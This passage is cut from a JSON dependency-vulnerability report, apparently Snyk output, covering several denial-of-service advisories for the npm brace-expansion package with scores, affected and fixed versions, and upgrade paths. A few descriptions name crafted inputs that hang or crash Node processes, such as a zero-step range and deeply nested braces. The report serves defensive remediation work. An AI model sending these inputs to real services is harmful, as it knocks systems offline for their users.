"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
